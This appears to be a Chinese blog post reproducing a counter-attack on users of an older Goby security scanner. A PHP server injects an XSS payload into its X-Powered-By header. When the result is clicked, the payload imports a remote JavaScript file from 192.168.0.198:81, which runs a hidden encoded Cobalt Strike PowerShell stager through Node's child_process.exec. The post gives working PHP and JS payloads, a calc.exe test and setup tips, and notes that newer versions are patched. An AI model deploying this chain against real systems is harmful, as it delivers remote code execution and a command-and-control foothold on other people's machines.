反制Goby扫描之XSS点击上线

N 人看过

最近看到有大佬利用goby漏洞反制攻击者,特意复现下,原理就是通过XSS进行交互,调用Node.js函数exec执行命令,最新版本已经进行了修复,如果还在使用低版本还是尽快升级吧。

1.测试环境

2.XSS测试

修改http服务器的X-Powered-By,注意此处<img src=1 onerror=alert(1)> 标签中应该是tab,而非空格。

<?php
header("X-Powered-By: PHP/<img	src=1	onerror=alert(1)>");
?>
<head>
<title>SEC TEST</title>
</head>
<body>
</body>
</html>

扫描之后结果如下:
在这里插入图片描述

点击即可触发XSS:
在这里插入图片描述

3.CS上线

利用require('child_process').exec()函数进行命令执行,在以上的基础上:
服务器端代码如下:

<?php
header("X-Powered-By: PHP/<img	src=1	onerror=import(unescape('http%3A//192.168.0.198:81/js/1.js'))>");
?>
<head>
<title>SEC TEST</title>
</head>
<body>
</body>
</html>

1.js内容如下,执行内容为CS的powershell上线脚本:

(function(){
require('child_process').exec('powershell -nop -w hidden -encodedcommand JABXXXXXXXX......');
})();

在这里插入图片描述

可以先使用计算器进行测试。

(function(){require('child_process').exec('calc.exe');})();

在这里插入图片描述
踩坑:

  1. js函数要设置void的话就无返回值,程序运行不起来的。
  2. goby存在缓存,改动JS后建议删掉goby重新跑一遍。

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。